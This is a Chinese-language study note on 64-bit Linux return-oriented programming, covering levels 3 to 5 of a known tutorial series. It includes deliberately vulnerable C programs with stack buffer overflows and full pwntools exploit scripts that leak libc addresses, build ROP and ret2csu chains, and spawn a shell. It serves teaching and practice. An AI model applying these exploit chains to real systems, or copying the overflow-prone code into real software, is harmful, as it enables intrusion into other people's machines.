继上一篇笔记 蒸米32位ROP ## level3——64位与32位区别
linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位 。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变 ,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。
level3.c代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void callsystem () { system("/bin/sh" ); }void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); }int main (int argc, char ** argv) { write(STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
打开系统的ASLR,然后用如下gcc命令编译,即不开启Canary:
1 gcc -fno-stack-protector level3.c -o level3
查看文件和安全编译选项开关:
image-20200820165711501
使用gdb调试程序,pattern生成一大串字符串输入,发现程序终止在vulnerable_function()函数处,并没有如之前那样蹦出溢出地址。
image-20200820170928731
原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff
,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于pop rip
指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。
在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示,随后我们就可以用pattern来计算溢出点。
由此我们可以得到偏移地址为:136,或者通过IDA分析计算式子如下:buf+EIP=0x80 + 0x8,也可以计算出同样的答案。
image-20200820171507448
因为程序中存在后面函数callsystem()
,内存地址为0x00000000004005B6
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * p = process("./level3" ) elf = ELF("./level3" ) callsystem_addr = 0x00000000004005B6 print "[*]callsystem() addr: " + hex (callsystem_addr) payload = "A" * 136 + p64(callsystem_addr)print "[*]sending payload..." p.sendline(payload) p.interactive()
image-20200820172228774
level4——使用工具寻找gadgets
我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8
和R9
寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret
的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:
ROPEME : https://github.com/packz/ropeme
Ropper : https://github.com/sashs/Ropper
ROPgadget : https://github.com/JonathanSa…
rp++ : https://github.com/0vercl0k/rp
level4.c代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr () { void * handle = dlopen("libc.so.6" , RTLD_LAZY); printf ("%p\n" ,dlsym(handle,"system" )); fflush(stdout ); }void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); }int main (int argc, char ** argv) { systemaddr(); write(1 , "Hello, World\n" , 13 ); vulnerable_function(); }
编译,因为程序用到了dlopen()函数打开libc,因此需要-ldl参数:
1 gcc -fno-stack-protector level4.c -o level4 -ldl
查看文件动态链接,只开启了NX:
image-20200820172701448
IDA分析可得,看到程序在一开始运行时调用systemaddr()函数,该函数会从本程序用到的libc.so.6中获取其中的system()函数地址并打印出来,和level3一样得到溢出偏移量为136。
在64位中传参的前六个参数是通过寄存器来实现的,而且system()
只接受一个参数,因此我们需要找到一条pop rdi;ret
的Gadget来帮助我们实现,这里我们用的是ROPgadget工具帮我们查找
image-20200820175800058
一般情况下自身的程序可能没有合适的Gadgets,这时我们可以到指定的libc.so文件中找到合适的:
image-20200820175824054
如果用的是libc中的Gadget则需要加上libc的实际地址来计算出该gadget的实际地址,因为libc.address
=offset
= system_addr
- libc.symbols[‘system’]
=gadget实际地址
- gadget在libc中地址
总体思路:通过ROPgadget找level4下pop ret
的gadget,如果没有从程序调用的库文件中搜索,找到后构造ROP链。首先填充栈空间达到rip上内存空间。写入gadget地址和/bin/sh
地址,再吧指针跳转到system()
函数的位置,执行system("/bin/sh")
。
EXP1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * p = process("./level4" ) elf = ELF("./level4" ) libc = elf.libc pop_rdi_ret_libc = 0x0000000000021112 system_addr = int (p.recv(1024 ).split()[0 ], 16 )print "[*]recv system() addr: " + hex (system_addr) libc.address = system_addr - libc.symbols["system" ] binsh_addr = next (libc.search("/bin/sh" )) pop_rdi_ret_addr = pop_rdi_ret_libc + libc.addressprint "[*]/bin/sh libc addr: " + hex (binsh_addr) payload = "A" * 136 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)print "[*]sending payload..." p.sendline(payload) p.interactive()
image-20200820182831814
又或者,除了前面找的pop rdi;ret这个Gadget,我们还可以找另外一个gadget,因为我们只需调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadgets来构造ROP链,如下:
image-20200820183630230
可以看到pop rax;pop rdi;call rax
这个gadget,我们可以先将rax
赋值为system()
的地址,rdi
赋值为/bin/sh
的地址,最后再调用call rax
即可。
EXP2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * p = process("./level4" ) elf = ELF("./level4" ) libc = elf.libc pop_call_libc = 0x00000000001074d9 system_addr = int (p.recv(1024 ).split()[0 ], 16 )print "[*]recv system() addr: " + hex (system_addr) libc.address = system_addr - libc.symbols["system" ] binsh_addr = next (libc.search("/bin/sh" )) pop_call_addr = pop_call_libc +libc.addressprint "[*]/bin/sh libc addr: " + hex (binsh_addr) payload = "A" * 136 + p64(pop_call_addr) + p64(system_addr) + p64(binsh_addr)print "[*]sending payload..." p.sendline(payload) p.interactive()
image-20200820183827668
level5——通用gadgets
因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
level5.c代码如下,相比于level3和level4,去掉了提供system()或其地址的辅助函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); }int main (int argc, char ** argv) { write(STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递/bin/sh
到.bss
段,最后调用system(“/bin/sh”)
。因为原程序使用了write()
和read()
函数,我们可以通过write()
去输出write.got
的地址,从而计算出libc.so
在内存中的地址。但问题在于write()
的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret
这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。
比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。
编译:
1 gcc -fno-stack-protector -o level5 level5.c
基本功能和安全编译开关和前面的一致。溢出偏移量也和之前的一致,为136。
用objdump -d ./level5观察一下__libc_csu_init()这个函数:
image-20200820184816601
可以看到黄色框中,利用0x40061a处的代码可以控制rbx、rbp、r12、r13、r14、r15
的值,随后利用0x400600
处的代码可以将r13的值赋值给rdx、r14的值赋值给rsi、r15的值赋值给edi(这和蒸米原文的顺序是相反的,因为本地编译出来的程序所用的gadget有些许区别,其实这里利用的就是ret2csu技巧) ,随后就会调用call qword ptr [r12+rbx*8]
。
这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx*8]
之后,程序会对rbx+=1
,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。
我们先构造 payload1 ,利用 write() 输出 write 在内存中的地址。注意我们的 gadget 是 call qword ptr [r12+rbx*8]
,所以我们应该使用write.got
的地址而不是 write.plt
的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
当我们 exp 在收到 write() 在内存中的地址后,就可以计算出 system()
在内存中的地址了。接着我们构造 payload2 ,利用 read()
将 system()
的地址以及 /bin/sh
读入到.bss
段内存中。
最后我们构造 payload3 ,调用system()
函数执行 /bin/sh
。
注意: system() 的地址保存在了 .bss 段首地址上, /bin/sh 的地址保存在了 .bss 段首地址+8字节上。
总体思路:利用该gadget构造3段payload,分别是泄露write()函数地址、向程序.bss段写入”/bin/sh”和system()
或execve()
函数地址、传入bss_addr+8
处的参数并调用bss_addr
地址处的函数即执行system(“/bin/sh”)
。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * p = process('./level5' ) elf = ELF('level5' ) libc = elf.libc main = elf.symbols['main' ] bss_addr = elf.bss() gadget1 = 0x40061a gadget2 = 0x400600 got_write = elf.got['write' ]print "[*]write() got: " + hex (got_write) got_read = elf.got['read' ]print "[*]read() got: " + hex (got_read)def csu (rbx, rbp, r12, r13, r14, r15, ret ): payload = "A" * 136 payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(gadget2) payload += "B" * 56 payload += p64(ret) return payload payload1 = csu(0 , 1 , got_write, 8 , got_write, 1 , main) p.recvuntil("Hello, World\n" )print "\n#############sending payload1#############\n" p.send(payload1) sleep(1 ) write_addr = u64(p.recv(8 ))print "[*]leak write() addr: " + hex (write_addr) libc.address = write_addr - libc.symbols['write' ] execve_addr = libc.symbols["execve" ]print "[*]execve() addr: " + hex (execve_addr) p.recvuntil("Hello, World\n" ) payload2 = csu(0 , 1 , got_read, 16 , bss_addr, 0 , main)print "\n#############sending payload2#############\n" p.send(payload2) sleep(1 ) p.send(p64(execve_addr)) p.send("/bin/sh\0" ) sleep(1 ) p.recvuntil("Hello, World\n" ) payload3 = csu(0 , 1 , bss_addr, 0 , 0 , bss_addr + 8 , main)print "\n#############sending payload3#############\n" sleep(1 ) p.send(payload3) p.interactive()